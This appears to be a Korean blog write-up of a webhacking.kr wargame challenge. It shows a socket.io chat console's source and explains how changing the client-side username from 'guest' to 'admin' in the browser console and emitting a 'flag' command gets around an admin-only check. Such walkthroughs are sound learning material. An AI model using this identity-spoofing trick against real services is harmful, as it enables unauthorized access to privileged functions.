반응형

채팅창 처럼 보이는 창이 하나있다

아무거나 보내보자

command not found라고 뜬다

command 하면 ls이지

ls가 된다

whoami,cat,vi등 쳐봤지만 다른건 찾지못했다.

소스를 보자


스크립트 문이 하나있다.


<!doctype html>

<html>

  <head>

    <title>USER Console</title>

    <style>

      * { margin: 0; padding: 0; box-sizing: border-box; }

      body { font: 13px Helvetica, Arial; }

      form { background: #000; padding: 3px; position: fixed; bottom: 0; width: 100%; }

      form input { border: 0; padding: 10px; width: 90%; margin-right: .5%; }

      form button { width: 9%; background: rgb(130, 224, 255); border: none; padding: 10px; }

      #messages { list-style-type: none; margin: 0; padding: 0; }

      #messages li { padding: 5px 10px; }

      #messages li:nth-child(odd) { background: #eee; }

    </style>

  </head>

  <body>

    <ul id="messages"></ul>

    <form action="">

      <input id="m" autocomplete="off" /><button>Send</button>

    </form>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.2.0/socket.io.js"></script>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>

    <script>

    $(function () {

      var username = "guest";

      var socket = io();

      $('form').submit(function(e){

        e.preventDefault();

        socket.emit('cmd',username+":"+$('#m').val());

        $('#m').val('');

        return false;

      });

      socket.on('cmd', function(msg){

        $('#messages').append($('<li>').text(msg));

      });

    });

    </script>

  </body>

</html>


jquery와 socket.io를 사용하고 있으며 밑에 스크립트문을 통해 메세지를 보내는고 받아와서 추가하는 모습이 보인다.

socket.emit('이벤트명',{메시지}); 이벤트를 보내기 위해 사용되는 함수이고

socket.on('이벤트명',function(data){}); 이벤트를 받기 위한 함수이다.

먼저 유저명과 함께 명령어를 보내고 밑에서는 받아서 출력하는 함수를 실행시키는 장면이다.

리눅스 명령어는 아닌거같고 ls를 통해 나온 파일을 출력할수도 없었다.

flag값을 받아 와야 할거같은데...

flag라고 쳐보니 permission denied admin only 권한이 없고 admin만 가능하다고 한다.


콘솔창에서 username='admin'으로 바꾼뒤 스크립트를 조금 변경하여 실행시켜보자

$('form').submit 부분은 없애준다. form에서 submit이 발생했을때 함수를 실행하는데 우린 바로 보내줄거기 때문에 필요가 없다.밑에  e.preventDefault(); 또한 submit 보내는걸 잡아주는 부분이기때문에 필요가없다. emit부분에 $('#m').val id가 #m인 즉 우리가 입력창에 넣은 값을 받아오는 부분이기때문에 'flag'로 바꾸어 준다.  $('#m').val('');은 함수를 보낸후 입력창을 초기화 시켜주는 부분이고 return false 역시 함수에 사용되는 부분으로 필요가없다.받는 부분은 그대로 받아서 화면에 flag값이 뜰수 있도록 했다.



  var username = "admin";

  var socket = io();

  socket.emit('cmd',username+":"+'flag');

  socket.on('cmd', function(msg){

        $('#messages').append($('<li>').text(msg));

     });


최종적으로 콘솔창에 이런 스크립트 문을 보내면 Flag값이 나온다.

auth창에 넣어주면 완료!


반응형

'보안 > webhacking' 카테고리의 다른 글

webhacking.kr old-60  (0) 2019.12.09
webhacking.kr old-59  (0) 2019.12.09
webhacking.kr old-56  (1) 2019.12.08
webhacking.kr old-55  (0) 2019.12.08
webhacking.kr old-54  (0) 2019.12.08
  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기